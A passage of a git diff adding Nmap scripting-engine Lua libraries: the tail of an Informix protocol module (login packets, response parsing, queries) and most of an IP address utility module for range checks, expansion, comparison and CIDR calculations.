+ [4] = { ['NODEFDAC'] = 'no' },
+ [5] = { ['CLNT_PAM_CAPABLE'] = '1' },
+ [6] = { ['SKALL'] = '0' },
+ [7] = { ['LKNOTIFY'] = 'yes' },
+ [8] = { ['SKSHOW'] = '0' },
+ [9] = { ['IFX_UPDDESC'] = '1' },
+ [10] = { ['DBPATH'] = '.' },
+ [11] = { ['CLIENT_LOCALE'] = 'en_US.8859-1' },
+ [12] = { ['SKINHIBIT'] = '0' },
+ },
+
+ --- Creates a new Connection packet
+ --
+ -- @param username string containing the username for authentication
+ -- @param password string containing the password for authentication
+ -- @param instance string containing the instance to connect to
+ -- @return a new Packet.Connect instance
+ new = function(self, username, password, instance, parameters)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.username = username and username .. "\0"
+ o.password = password and password .. "\0"
+ o.instance = instance and instance .. "\0"
+ o.parameters = parameters
+ return o
+ end,
+
+ --- Adds the default set of parameters
+ addDefaultParameters = function( self )
+ for _, v in ipairs( self.DEFAULT_PARAMETERS ) do
+ for k2, v2 in pairs( v ) do
+ self:addParameter( k2, v2 )
+ end
+ end
+ end,
+
+ --- Adds a parameter to the connection packet
+ --
+ -- @param param string containing the parameter name
+ -- @param value string containing the parameter value
+ -- @return status, always true
+ addParameter = function( self, param, value )
+ local tbl = {}
+ tbl[param] = value
+ table.insert( self.parameters, tbl )
+
+ return true
+ end,
+
+ --- Retrieves the OS error code
+ --
+ -- @return oserror number containing the OS error code
+ getOsError = function( self ) return self.oserror end,
+
+ --- Retrieves the Informix service error
+ --
+ -- @return svcerror number containing the service error
+ getSvcError = function( self ) return self.svcerror end,
+
+ --- Retrieves the Informix error message
+ --
+ -- @return errmsg string containing the "mapped" error message
+ getErrMsg = function( self ) return self.errmsg end,
+
+ --- Reads and decodes the response to the connect packet from the server.
+ --
+ -- The function will return true even if the response contains an Informix
+ -- error. In order to verify if the connection was successful, check for OS
+ -- or service errors using the getSvcError and getOsError methods.
+ --
+ -- @param socket already connected to the server
+ -- @return status true on success, false on failure
+ -- @return err msg if status is false
+ readResponse = function( self, socket )
+ local status, data = socket:receive_buf(match.numbytes(2), true)
+ local len, pos, tmp
+
+ if ( not(status) ) then return false, data end
+ len, pos = string.unpack(">I2", data)
+ status, data = socket:receive_buf(match.numbytes(len - 2), true)
+ if ( not(status) ) then return false, data end
+
+ pos = 13
+ tmp, pos = string.unpack(">I2", data, pos)
+ pos = pos + tmp
+
+ tmp, pos = string.unpack(">I2", data, pos)
+
+ if ( 108 ~= tmp ) then
+ return false, "Connect received unexpected response"
+ end
+
+ pos = pos + 12
+ -- version
+ self.version, pos = string.unpack(">s2", data, pos)
+
+ -- serial
+ self.serial, pos = string.unpack(">s2", data, pos)
+
+ -- applid
+ self.applid, pos = string.unpack(">s2", data, pos)
+
+ -- skip 14 bytes ahead
+ pos = pos + 14
+
+ -- do some more skipping
+ tmp, pos = string.unpack(">I2", data, pos)
+ pos = pos + tmp
+
+ -- do some more skipping
+ tmp, pos = string.unpack(">I2", data, pos)
+ pos = pos + tmp
+
+ -- skip another 24 bytes
+ pos = pos + 24
+ tmp, pos = string.unpack(">I2", data, pos)
+
+ if ( tmp ~= 102 ) then
+ return false, "Connect received unexpected response"
+ end
+
+ pos = pos + 6
+ self.svcerror, self.oserror, pos = string.unpack(">i2i2", data, pos )
+
+ if ( self.svcerror ~= 0 ) then
+ self.errmsg = Constants.ErrorMsg[self.svcerror] or ("Unknown error %d occurred"):format( self.svcerror )
+ end
+
+ return true
+ end,
+
+ --- Converts the class to a string suitable to send over the socket
+ --
+ -- @return string containing the packet data
+ __tostring = function( self )
+ local data
+ local unknown = [[
+ 013c0000006400650000003d0006494545454d00006c73716c65786563000000
+ 00000006392e32383000000c524453235230303030303000000573716c690000
+ 00013300000000000000000001
+ ]]
+
+ local unknown2 = [[
+ 6f6c0000000000000000003d746c697463700000000000010068000b
+ 00000003
+ ]]
+
+ local unknown3 = [[
+ 00000000000000000000006a
+ ]]
+
+ local unknown4 = [[ 007f ]]
+
+ if ( not(self.parameters) ) then
+ self.parameters = {}
+ self:addDefaultParameters()
+ end
+
+ data = {
+ stdnse.fromhex(unknown),
+ string.pack(">s2s2", self.username, self.password),
+ stdnse.fromhex(unknown2),
+ string.pack(">s2", self.instance),
+ stdnse.fromhex(unknown3),
+ string.pack(">I2", #self.parameters),
+ }
+
+ if ( self.parameters ) then
+ for _, v in ipairs( self.parameters ) do
+ for k2, v2 in pairs( v ) do
+ data[#data+1] = Util.paramToString( k2 .. "\0", v2 .. "\0" )
+ end
+ end
+ end
+
+ data[#data+1] = stdnse.fromhex(unknown4)
+ data = table.concat(data)
+ data = string.pack(">I2", #data + 2) .. data
+
+ return data
+ end,
+
+
+}
+
+-- The communication class
+Comm =
+{
+ --- Creates a new Comm instance
+ --
+ -- @param socket containing a buffered socket connected to the server
+ -- @return a new Comm instance
+ new = function(self, socket)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.socket = socket
+ return o
+ end,
+
+ --- Sends and packet and attempts to handle the response
+ --
+ -- @param packets an instance of a Packet.* class
+ -- @param info any additional info to pass as the second parameter to the
+ -- decoder
+ -- @return status true on success, false on failure
+ -- @return data returned from the ResponseDecoder
+ exchIfxPacket = function( self, packet, info )
+ local _, typ
+ local status, data = self.socket:send( tostring(packet) )
+ if ( not(status) ) then return false, data end
+
+ status, data = self.socket:receive_buf(match.numbytes(2), true)
+ typ = string.unpack(">I2", data)
+
+ if ( MessageDecoders[typ] ) then
+ status, data = MessageDecoders[typ]( self.socket, info )
+ else
+ return false, ("Unsupported data returned from server (type: 0x%x)"):format(typ)
+ end
+
+ return status, data
+ end
+
+}
+
+-- The Helper class providing easy access to the other db functionality
+Helper = {
+
+ --- Creates a new Helper instance
+ --
+ -- @param host table as passed to the action script function
+ -- @param port table as passed to the action script function
+ -- @param instance [optional] string containing the instance to connect to
+ -- in case left empty it's populated by the informix.instance script
+ -- argument.
+ -- @return Helper instance
+ new = function(self, host, port, instance)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ o.instance = instance or "nmap_probe"
+ return o
+ end,
+
+ --- Connects to the Informix server
+ --
+ -- @return true on success, false on failure
+ -- @return err containing error message when status is false
+ Connect = function( self, socket )
+ local status, data
+ local conn, packet
+ self.socket = socket or nmap.new_socket()
+
+ -- Some Informix server seem to take a LOT of time to respond?!
+ self.socket:set_timeout(20000)
+ status, data = self.socket:connect( self.host.ip, self.port.number, "tcp" )
+
+ if( not(status) ) then
+ return status, data
+ end
+
+ self.comm = Comm:new( self.socket )
+
+ return true
+ end,
+
+ --- Attempts to login to the Informix database server
+ --
+ -- The optional parameters parameter takes any informix specific parameters
+ -- used to connect to the database. In case it's omitted a set of default
+ -- parameters are set. Parameters should be past as key, value pairs inside
+ -- of a table array as the following example:
+ --
+ -- local params = {
+ -- [1] = { ["PARAM1"] = "VALUE1" },
+ -- [2] = { ["PARAM2"] = "VALUE2" },
+ -- }
+ --
+ -- @param username string containing the username for authentication
+ -- @param password string containing the password for authentication
+ -- @param parameters [optional] table of informix specific parameters
+ -- @param database [optional] database to connect to
+ -- @param retry [optional] used when autodetecting instance
+ -- @return status true on success, false on failure
+ -- @return err containing the error message if status is false
+ Login = function( self, username, password, parameters, database, retry )
+ local conn, status, data, len, packet
+
+ conn = Packet.Connect:new( username, password, self.instance, parameters )
+
+ status, data = self.socket:send( tostring(conn) )
+ if ( not(status) ) then return false, "Helper.Login failed to send login request" end
+ status = conn:readResponse( self.socket )
+ if ( not(status) ) then return false, "Helper.Login failed to read response" end
+
+ if ( status and ( conn:getOsError() ~= 0 or conn:getSvcError() ~= 0 ) ) then
+ -- Check if we didn't supply the correct instance name, if not attempt to
+ -- reconnect using the instance name returned by the server
+ if ( conn:getSvcError() == -761 and not(retry) ) then
+ self.instance = conn.applid
+ self:Close()
+ self:Connect()
+ return self:Login( username, password, parameters, database, 1 )
+ end
+ return false, conn:getErrMsg()
+ end
+
+ status, packet = self.comm:exchIfxPacket( Packet.SQ_PROTOCOLS:new() )
+ if ( not(status) ) then return false, packet end
+
+ status, packet = self.comm:exchIfxPacket( Packet.SQ_INFO:new() )
+ if ( not(status) ) then return false, packet end
+
+ -- If a database was supplied continue further protocol negotiation and
+ -- attempt to open the database.
+ if ( database ) then
+ status, packet = self:OpenDatabase( database )
+ if ( not(status) ) then return false, packet end
+ end
+
+ return true
+ end,
+
+ --- Opens a database
+ --
+ -- @param database string containing the database name
+ -- @return status true on success, false on failure
+ -- @return err string containing the error message if status is false
+ OpenDatabase = function( self, database )
+ return self.comm:exchIfxPacket( Packet.SQ_DBOPEN:new( database ) )
+ end,
+
+ --- Attempts to retrieve a list of available databases
+ --
+ -- @return status true on success, false on failure
+ -- @return databases array of database names or err on failure
+ GetDatabases = function( self )
+ return self.comm:exchIfxPacket( Packet.SQ_DBLIST:new() )
+ end,
+
+ Query = function( self, query )
+ local status, metadata, data, res
+ local id, seq = 0, 1
+ local result = {}
+
+ if ( type(query) == "string" ) then
+ query = stringaux.strsplit(";%s*", query)
+ end
+
+ for _, q in ipairs( query ) do
+ if ( q:upper():match("^%s*SELECT") ) then
+ status, data = self.comm:exchIfxPacket( Packet.SQ_PREPARE:new( q ) )
+ seq = seq + 1
+ else
+ status, data = self.comm:exchIfxPacket( Packet.SQ_COMMAND:new( q .. ";" ) )
+ end
+
+ if( status and data ) then
+ metadata = data.metadata
+ status, data = self.comm:exchIfxPacket( Packet.SQ_ID:new( data.stmt_id, seq, "begin" ), { metadata = metadata, id = id, rows = nil, query=q } )
+
+ -- check if any rows were returned
+ if ( not( data.rows ) ) then
+ data = { query = q, info = "No rows returned" }
+ end
+ --if( not(status) ) then return false, data end
+ elseif( not(status) ) then
+ data = { query = q, ["error"] = "ERROR: " .. data }
+ else
+ data = { query = q, info = "No rows returned" }
+ end
+ table.insert( result, data )
+ end
+
+ return true, result
+ end,
+
+ --- Closes the connection to the server
+ --
+ -- @return status true on success, false on failure
+ Close = function( self )
+ local status, packet = self.comm:exchIfxPacket( Packet.SQ_EXIT:new() )
+ return self.socket:close()
+ end,
+
+}
+
+return _ENV;
diff --git a/nselib/ipOps.lua b/nselib/ipOps.lua
new file mode 100644
index 0000000..aa45dac
--- /dev/null
+++ b/nselib/ipOps.lua
@@ -0,0 +1,888 @@
+---
+-- Utility functions for manipulating and comparing IP addresses.
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+local math = require "math"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+local type = type
+local ipairs = ipairs
+local tonumber = tonumber
+local unittest = require "unittest"
+
+
+_ENV = stdnse.module("ipOps", stdnse.seeall)
+
+local pack = string.pack
+local unpack = string.unpack
+
+---
+-- Checks to see if the supplied IP address is part of a non-routable
+-- address space.
+--
+-- The non-Internet-routable address spaces known to this function are
+-- * IPv4 Loopback (RFC3330)
+-- * IPv4 Private Use (RFC1918)
+-- * IPv4 Link Local (RFC3330)
+-- * IPv4 IETF Protocol Assignments (RFC 5736)
+-- * IPv4 TEST-NET-1, TEST-NET-2, TEST-NET-3 (RFC 5737)
+-- * IPv4 Network Interconnect Device Benchmark Testing (RFC 2544)
+-- * IPv4 Reserved for Future Use (RFC 1112, Section 4)
+-- * IPv4 Multicast Local Network Control Block (RFC 3171, Section 3)
+-- * IPv6 Unspecified and Loopback (RFC3513)
+-- * IPv6 Site-Local (RFC3513, deprecated in RFC3879)
+-- * IPv6 Unique Local Unicast (RFC4193)
+-- * IPv6 Link Local Unicast (RFC4291)
+-- @param ip String representing an IPv4 or IPv6 address. Shortened notation
+-- is permitted.
+-- @usage
+-- local is_private = ipOps.isPrivate( "192.168.1.1" )
+-- @return True or false (or <code>nil</code> in case of an error).
+-- @return String error message in case of an error or
+-- String non-routable address containing the supplied IP address.
+isPrivate = function( ip )
+ local err
+
+ ip, err = expand_ip( ip )
+ if err then return nil, err end
+
+ if ip:match( ":" ) then
+
+ local is_private
+ local ipv6_private = { "::/127", "FC00::/7", "FE80::/10", "FEC0::/10" }
+
+ for _, range in ipairs( ipv6_private ) do
+ is_private, err = ip_in_range( ip, range )
+ if is_private == true then
+ return true, range
+ end
+ if err then
+ return nil, err
+ end
+ end
+
+ elseif ip:sub(1,3) == '10.' then
+
+ return true, '10/8'
+
+ elseif ip:sub(1,4) == '127.' then
+
+ return true, '127/8'
+
+ elseif ip:sub(1,8) == '169.254.' then
+
+ return true, '169.254/16'
+
+ elseif ip:sub(1,4) == '172.' then
+
+ local p, e = ip_in_range(ip, '172.16/12')
+ if p == true then
+ return true, '172.16/12'
+ else
+ return p, e
+ end
+
+ elseif ip:sub(1,4) == '192.' then
+
+ if ip:sub(5,8) == '168.' then
+ return true, '192.168/16'
+ elseif ip:match('^192%.[0][0]?[0]?%.[0][0]?[0]?%.') then
+ return true, '192.0.0/24'
+ elseif ip:match('^192%.[0][0]?[0]?%.[0]?[0]?2') then
+ return true, '192.0.2/24'
+ end
+
+ elseif ip:sub(1,4) == '198.' then
+
+ if ip:match('^198%.[0]?18%.') or ip:match('^198%.[0]?19%.') then
+ return true, '198.18/15'
+ elseif ip:match('^198%.[0]?51%.100%.') then
+ return true, '198.51.100/24'
+ end
+
+ elseif ip:match('^203%.[0][0]?[0]?%.113%.') then
+
+ return true, '203.0.113/24'
+
+ elseif ip:match('^224%.[0][0]?[0]?%.[0][0]?[0]?%.') then
+
+ return true, '224.0.0/24'
+
+ elseif ip:match('^24[0-9]%.') or ip:match('^25[0-5]%.') then
+
+ return true, '240.0.0/4'
+
+ end
+
+ return false, nil
+
+end
+
+
+
+---
+-- Converts the supplied IPv4 address into a DWORD value.
+--
+-- For example, the address a.b.c.d becomes (((a*256+b)*256+c)*256+d).
+--
+-- Note: IPv6 addresses are not supported. Currently, numbers in NSE are
+-- limited to 10^14, and consequently not all IPv6 addresses can be
+-- represented. Consider using <code>ip_to_str</code> for IPv6 addresses.
+-- @param ip String representing an IPv4 address. Shortened notation is
+-- permitted.
+-- @usage
+-- local dword = ipOps.todword( "73.150.2.210" )
+-- @return Number corresponding to the supplied IP address (or <code>nil</code>
+-- in case of an error).
+-- @return String error message in case of an error.
+todword = function( ip )
+
+ if type( ip ) ~= "string" or ip:match( ":" ) then
+ return nil, "Error in ipOps.todword: Expected IPv4 address."
+ end
+
+ local n, ret, err = {}
+ n, err = get_parts_as_number( ip )
+ if err then return nil, err end
+
+ ret = (((n[1]*256+n[2]))*256+n[3])*256+n[4]
+
+ return ret
+
+end
+
+---
+-- Converts the supplied IPv4 address from a DWORD value into a dotted string.
+--
+-- For example, the address (((a*256+b)*256+c)*256+d) becomes a.b.c.d.
+--
+--@param ip DWORD representing an IPv4 address.
+--@return The string representing the address.
+fromdword = function( ip )
+ if type( ip ) ~= "number" then
+ stdnse.debug1("Error in ipOps.fromdword: Expected 32-bit number.")
+ return nil
+ end
+ return string.format("%d.%d.%d.%d", unpack("BBBB", pack(">I4", ip)))
+end
+
+---
+-- Separates the supplied IP address into its constituent parts and
+-- returns them as a table of numbers.
+--
+-- For example, the address 139.104.32.123 becomes { 139, 104, 32, 123 }.
+-- @usage
+-- local a, b, c, d;
+-- local t, err = ipOps.get_parts_as_number( "139.104.32.123" )
+-- if t then a, b, c, d = table.unpack( t ) end
+-- @param ip String representing an IPv4 or IPv6 address. Shortened notation
+-- is permitted.
+-- @return Array of numbers for each part of the supplied IP address (or
+-- <code>nil</code> in case of an error).
+-- @return String error message in case of an error.
+get_parts_as_number = function( ip )
+ local err
+
+ ip, err = expand_ip( ip )
+ if err then return nil, err end
+
+ local pattern, base
+ if ip:match( ":" ) then
+ pattern = "%x+"
+ base = 16
+ else
+ pattern = "%d+"
+ base = 10
+ end
+ local t = {}
+ for part in string.gmatch(ip, pattern) do
+ t[#t+1] = tonumber( part, base )
+ end
+
+ return t
+
+end
+
+
+
+---
+-- Compares two IP addresses.
+--
+-- When comparing addresses from different families,
+-- IPv4 addresses will sort before IPv6 addresses.
+-- @param left String representing an IPv4 or IPv6 address. Shortened
+-- notation is permitted.
+-- @param op A comparison operator which may be one of the following strings:
+-- <code>"eq"</code>, <code>"ge"</code>, <code>"le"</code>,
+-- <code>"gt"</code> or <code>"lt"</code> (respectively ==, >=, <=,
+-- >, <).
+-- @param right String representing an IPv4 or IPv6 address. Shortened
+-- notation is permitted.
+-- @usage
+-- if ipOps.compare_ip( "2001::DEAD:0:0:0", "eq", "2001:0:0:0:DEAD::" ) then
+-- ...
+-- end
+-- @return True or false (or <code>nil</code> in case of an error).
+-- @return String error message in case of an error.
+compare_ip = function( left, op, right )
+
+ if type( left ) ~= "string" or type( right ) ~= "string" then
+ return nil, "Error in ipOps.compare_ip: Expected IP address as a string."
+ end
+
+ local err ={}
+ left, err[#err+1] = ip_to_str( left )
+ right, err[#err+1] = ip_to_str( right )
+ if #err > 0 then
+ return nil, table.concat( err, " " )
+ end
+
+ -- by prepending the length, IPv4 (length 4) sorts before IPv6 (length 16)
+ left = pack("s1", left)
+ right = pack("s1", right)
+
+ if ( op == "eq" ) then
+ return ( left == right )
+ elseif ( op == "ne" ) then
+ return ( left ~= right )
+ elseif ( op == "le" ) then
+ return ( left <= right )
+ elseif ( op == "ge" ) then
+ return ( left >= right )
+ elseif ( op == "lt" ) then
+ return ( left < right )
+ elseif ( op == "gt" ) then
+ return ( left > right )
+ end
+
+ return nil, "Error in ipOps.compare_ip: Invalid Operator."
+end
+
+--- Sorts a table of IP addresses
+--
+-- An in-place sort using <code>table.sort</code> to sort by IP address.
+-- Sorting non-IP addresses is likely to result in a bad sort and possibly an infinite loop.
+--
+-- @param ips The table of IP addresses to sort
+-- @param op The comparison operation to use. Default: "lt" (ascending)
+ip_sort = function (ips, op)
+ op = op or "lt"
+ return table.sort(ips, function(a, b) return compare_ip(a, op, b) end)
+end
+
+---
+-- Checks whether the supplied IP address is within the supplied range of IP
+-- addresses.
+--
+-- The address and the range must both belong to the same address family.
+-- @param ip String representing an IPv4 or IPv6 address. Shortened
+-- notation is permitted.
+-- @param range String representing a range of IPv4 or IPv6 addresses in
+-- first-last or CIDR notation (e.g.
+-- <code>"192.168.1.1 - 192.168.255.255"</code> or
+-- <code>"2001:0A00::/23"</code>).
+-- @usage
+-- if ipOps.ip_in_range( "192.168.1.1", "192/8" ) then ... end
+-- @return True or false (or <code>nil</code> in case of an error).
+-- @return String error message in case of an error.
+ip_in_range = function( ip, range )
+
+ local first, last, err = get_ips_from_range( range )
+ if err then return nil, err end
+ ip, err = expand_ip( ip )
+ if err then return nil, err end
+ if ( ip:match( ":" ) and not first:match( ":" ) ) or ( not ip:match( ":" ) and first:match( ":" ) ) then
+ return nil, "Error in ipOps.ip_in_range: IP address is of a different address family to Range."
+ end
+
+ err = {}
+ local ip_ge_first, ip_le_last
+ ip_ge_first, err[#err+1] = compare_ip( ip, "ge", first )
+ ip_le_last, err[#err+1] = compare_ip( ip, "le", last )
+ if #err > 0 then
+ return nil, table.concat( err, " " )
+ end
+
+ if ip_ge_first and ip_le_last then
+ return true
+ else
+ return false
+ end
+
+end
+
+
+
+---
+-- Expands an IP address supplied in shortened notation.
+-- Serves also to check the well-formedness of an IP address.
+--
+-- Note: IPv4in6 notated addresses will be returned in pure IPv6 notation unless
+-- the IPv4 portion is shortened and does not contain a dot, in which case the
+-- address will be treated as IPv6.
+-- @param ip String representing an IPv4 or IPv6 address in shortened or full notation.
+-- @param family String representing the address family to expand to. Only
+-- affects IPv4 addresses when "inet6" is provided, causing the function to
+-- return an IPv4-mapped IPv6 address.
+-- @usage
+-- local ip = ipOps.expand_ip( "2001::" )
+-- @return String representing a fully expanded IPv4 or IPv6 address (or
+-- <code>nil</code> in case of an error).
+-- @return String error message in case of an error.
+expand_ip = function( ip, family )
+ local err
+
+ if type( ip ) ~= "string" or ip == "" then
+ return nil, "Error in ipOps.expand_ip: Expected IP address as a string."
+ end
+
+ local err4 = "Error in ipOps.expand_ip: An address assumed to be IPv4 was malformed."
+
+ if not ip:match( ":" ) then
+ -- ipv4: missing octets should be "0" appended
+ if ip:match( "[^%.0-9]" ) then
+ return nil, err4
+ end
+ local octets = {}
+ for octet in string.gmatch( ip, "%d+" ) do
+ if tonumber( octet, 10 ) > 255 then return nil, err4 end
+ octets[#octets+1] = octet
+ end
+ if #octets > 4 then return nil, err4 end
+ while #octets < 4 do
+ octets[#octets+1] = "0"
+ end
+ if family == "inet6" then
+ return ( table.concat( { 0,0,0,0,0,"ffff",
+ stdnse.tohex( 256*octets[1]+octets[2] ),
+ stdnse.tohex( 256*octets[3]+octets[4] )
+ }, ":" ) )
+ else
+ return ( table.concat( octets, "." ) )
+ end
+ end
+
+ if family ~= nil and family ~= "inet6" then
+ return nil, "Error in ipOps.expand_ip: Cannot convert IPv6 address to IPv4"
+ end
+
+ if ip:match( "[^%.:%x]" ) then
+ return nil, ( err4:gsub( "IPv4", "IPv6" ) )
+ end
+
+ -- preserve ::
+ ip = string.gsub(ip, "::", ":z:")
+
+ -- get a table of each hexadectet
+ local hexadectets = {}
+ for hdt in string.gmatch( ip, "[%.z%x]+" ) do
+ hexadectets[#hexadectets+1] = hdt
+ end
+
+ -- deal with IPv4in6 (last hexadectet only)
+ local t = {}
+ if hexadectets[#hexadectets]:match( "[%.]+" ) then
+ hexadectets[#hexadectets], err = expand_ip( hexadectets[#hexadectets] )
+ if err then return nil, ( err:gsub( "IPv4", "IPv4in6" ) ) end
+ t = stringaux.strsplit( "[%.]+", hexadectets[#hexadectets] )
+ for i, v in ipairs( t ) do
+ t[i] = tonumber( v, 10 )
+ end
+ hexadectets[#hexadectets] = stdnse.tohex( 256*t[1]+t[2] )
+ hexadectets[#hexadectets+1] = stdnse.tohex( 256*t[3]+t[4] )
+ end
+
+ -- deal with :: and check for invalid address
+ local z_done = false
+ for index, value in ipairs( hexadectets ) do
+ if value:match( "[%.]+" ) then
+ -- shouldn't have dots at this point
+ return nil, ( err4:gsub( "IPv4", "IPv6" ) )
+ elseif value == "z" and z_done then
+ -- can't have more than one ::
+ return nil, ( err4:gsub( "IPv4", "IPv6" ) )
+ elseif value == "z" and not z_done then
+ z_done = true
+ hexadectets[index] = "0"
+ local bound = 8 - #hexadectets
+ for i = 1, bound, 1 do
+ table.insert( hexadectets, index+i, "0" )
+ end
+ elseif tonumber( value, 16 ) > 65535 then
+ -- more than FFFF!
+ return nil, ( err4:gsub( "IPv4", "IPv6" ) )
+ end
+ end
+
+ -- make sure we have exactly 8 hexadectets
+ if #hexadectets > 8 then return nil, ( err4:gsub( "IPv4", "IPv6" ) ) end
+ while #hexadectets < 8 do
+ hexadectets[#hexadectets+1] = "0"
+ end
+
+ return ( table.concat( hexadectets, ":" ) )
+
+end
+
+
+
+---
+-- Returns the first and last IP addresses in the supplied range of addresses.
+-- @param range String representing a range of IPv4 or IPv6 addresses in either
+-- CIDR or first-last notation.
+-- @usage
+-- first, last = ipOps.get_ips_from_range( "192.168.0.0/16" )
+-- @return String representing the first address in the supplied range (or
+-- <code>nil</code> in case of an error).
+-- @return String representing the last address in the supplied range (or
+-- <code>nil</code> in case of an error).
+-- @return String error message in case of an error.
+get_ips_from_range = function( range )
+
+ if type( range ) ~= "string" then
+ return nil, nil, "Error in ipOps.get_ips_from_range: Expected a range as a string."
+ end
+
+ local ip, prefix = range:match("^%s*([%x:.]+)/(%d+)%s*$")
+ if ip then
+ return get_first_last_ip(ip, prefix)
+ end
+ local first, last = range:match("^%s*([%x:.]+)%s*%-%s*([%x:.]+)%s*$")
+ if not first then
+ return nil, nil, "Error in ipOps.get_ips_from_range: The range supplied could not be interpreted."
+ end
+
+ local err
+ first, err = expand_ip(first)
+ if not err then
+ last, err = expand_ip(last)
+ end
+ if not err then
+ local af = function (ip) return ip:find(":") and 6 or 4 end
+ if af(first) ~= af(last) then
+ err = "Error in ipOps.get_ips_from_range: First IP address is of a different address family to last IP address."
+ end
+ end
+ if err then
+ return nil, nil, err
+ end
+ return first, last
+end
+
+---
+-- Calculates the first and last IP addresses of a range of addresses,
+-- given an IP address in the range and a prefix length for that range
+-- @param ip String representing an IPv4 or IPv6 address. Shortened notation
+-- is permitted.
+-- @param prefix Number or a string representing a decimal number corresponding
+-- to a prefix length.
+-- @usage
+-- first, last = ipOps.get_first_last_ip( "192.0.0.0", 26)
+-- @return String representing the first IP address of the range denoted by
+-- the supplied parameters (or <code>nil</code> in case of an error).
+-- @return String representing the last IP address of the range denoted by
+-- the supplied parameters (or <code>nil</code> in case of an error).
+-- @return String error message in case of an error.
+get_first_last_ip = function(ip, prefix)
+ local err
+ ip, err = ip_to_bin(ip)
+ if err then return nil, nil, err end
+
+ prefix = tonumber(prefix)
+ if not prefix or prefix ~= math.floor(prefix) or prefix < 0 or prefix > #ip then
+ return nil, nil, "Error in ipOps.get_first_last_ip: Invalid prefix."
+ end
+
+ local net = ip:sub(1, prefix)
+ local first = bin_to_ip(net .. ("0"):rep(#ip - prefix))
+ local last = bin_to_ip(net .. ("1"):rep(#ip - prefix))
+ return first, last
+end
+
+---
+-- Calculates the first IP address of a range of addresses given an IP address in
+-- the range and prefix length for that range.
+-- @param ip String representing an IPv4 or IPv6 address. Shortened notation
+-- is permitted.
+-- @param prefix Number or a string representing a decimal number corresponding
+-- to a prefix length.
+-- @usage
+-- first = ipOps.get_first_ip( "192.0.0.0", 26 )
+-- @return String representing the first IP address of the range denoted by the
+-- supplied parameters (or <code>nil</code> in case of an error).
+-- @return String error message in case of an error.
+get_first_ip = function(ip, prefix)
+ local first, last, err = get_first_last_ip(ip, prefix)
+ return first, err
+end
+
+---
+-- Calculates the last IP address of a range of addresses given an IP address in
+-- the range and prefix length for that range.
+-- @param ip String representing an IPv4 or IPv6 address. Shortened notation
+-- is permitted.
+-- @param prefix Number or a string representing a decimal number corresponding
+-- to a prefix length.
+-- @usage
+-- last = ipOps.get_last_ip( "192.0.0.0", 26 )
+-- @return String representing the last IP address of the range denoted by the
+-- supplied parameters (or <code>nil</code> in case of an error).
+-- @return String error message in case of an error.
+get_last_ip = function(ip, prefix)
+ local first, last, err = get_first_last_ip(ip, prefix)
+ return last, err
+end
+
+---
+-- Converts an IP address into an opaque string (big-endian)
+-- @param ip String representing an IPv4 or IPv6 address.
+-- @param family (optional) Address family to convert to. "ipv6" converts IPv4
+-- addresses to IPv4-mapped IPv6.
+-- @usage
+-- opaque = ipOps.ip_to_str( "192.168.3.4" )
+-- @return 4- or 16-byte string representing IP address (or <code>nil</code>
+-- in case of an error).
+-- @return String error message in case of an error
+ip_to_str = function( ip, family )
+ local err
+
+ ip, err = expand_ip( ip, family )
+ if err then return nil, err end
+
+ local t = {}
+
+ if not ip:match( ":" ) then
+ -- ipv4 string
+ for octet in string.gmatch( ip, "%d+" ) do
+ t[#t+1] = pack("B", octet)
+ end
+ else
+ -- ipv6 string
+ for hdt in string.gmatch( ip, "%x+" ) do
+ t[#t+1] = pack( ">I2", tonumber(hdt, 16) )
+ end
+ end
+
+
+ return table.concat( t )
+end
+
+---
+-- Converts an opaque string (big-endian) into an IP address
+--
+-- @param ip Opaque string representing an IP address. If length 4, then IPv4
+-- is assumed. If length 16, then IPv6 is assumed.
+-- @return IP address in readable notation (or <code>nil</code> in case of an
+-- error)
+-- @return String error message in case of an error
+str_to_ip = function (ip)
+ if #ip == 4 then
+ return ("%d.%d.%d.%d"):format(unpack("BBBB", ip))
+ elseif #ip == 16 then
+ local full = ("%x:%x:%x:%x:%x:%x:%x:%x"):format(unpack((">I2"):rep(8), ip))
+ full = full:gsub(":[:0]+", "::", 1) -- Collapse the first (should be longest?) series of :0:
+ full = full:gsub("^0::", "::", 1) -- handle special case of ::1
+ return full
+ else
+ return nil, "Invalid length"
+ end
+end
+
+---
+-- Converts an IP address into a string representing the address as binary
+-- digits.
+-- @param ip String representing an IPv4 or IPv6 address. Shortened notation
+-- is permitted.
+-- @usage
+-- bit_string = ipOps.ip_to_bin( "2001::" )
+-- @return String representing the supplied IP address as 32 or 128 binary
+-- digits (or <code>nil</code> in case of an error).
+-- @return String error message in case of an error.
+ip_to_bin = function( ip )
+ local err
+
+ ip, err = expand_ip( ip )
+ if err then return nil, err end
+
+ local t, mask = {}
+
+ if not ip:match( ":" ) then
+ -- ipv4 string
+ for octet in string.gmatch( ip, "%d+" ) do
+ t[#t+1] = stdnse.tohex( tonumber(octet) )
+ end
+ mask = "00"
+ else
+ -- ipv6 string
+ for hdt in string.gmatch( ip, "%x+" ) do
+ t[#t+1] = hdt
+ end
+ mask = "0000"
+ end
+
+ -- padding
+ for i, v in ipairs( t ) do
+ t[i] = mask:sub( 1, # mask - # v ) .. v
+ end
+
+ return hex_to_bin( table.concat( t ) )
+
+end
+
+
+
+---
+-- Converts a string of binary digits into an IP address.
+-- @param binstring String representing an IP address as 32 or 128 binary
+-- digits.
+-- @usage
+-- ip = ipOps.bin_to_ip( "01111111000000000000000000000001" )
+-- @return String representing an IP address (or <code>nil</code> in
+-- case of an error).
+-- @return String error message in case of an error.
+bin_to_ip = function( binstring )
+
+ if type( binstring ) ~= "string" or binstring:match( "[^01]+" ) then
+ return nil, "Error in ipOps.bin_to_ip: Expected string of binary digits."
+ end
+
+ local af
+ if # binstring == 32 then
+ af = 4
+ elseif # binstring == 128 then
+ af = 6
+ else
+ return nil, "Error in ipOps.bin_to_ip: Expected exactly 32 or 128 binary digits."
+ end
+
+ local t = {}
+ if af == 6 then
+ local pattern = string.rep( "[01]", 16 )
+ for chunk in string.gmatch( binstring, pattern ) do
+ t[#t+1] = stdnse.tohex( tonumber( chunk, 2 ) )
+ end
+ return table.concat( t, ":" )
+ end
+
+ if af == 4 then
+ local pattern = string.rep( "[01]", 8 )
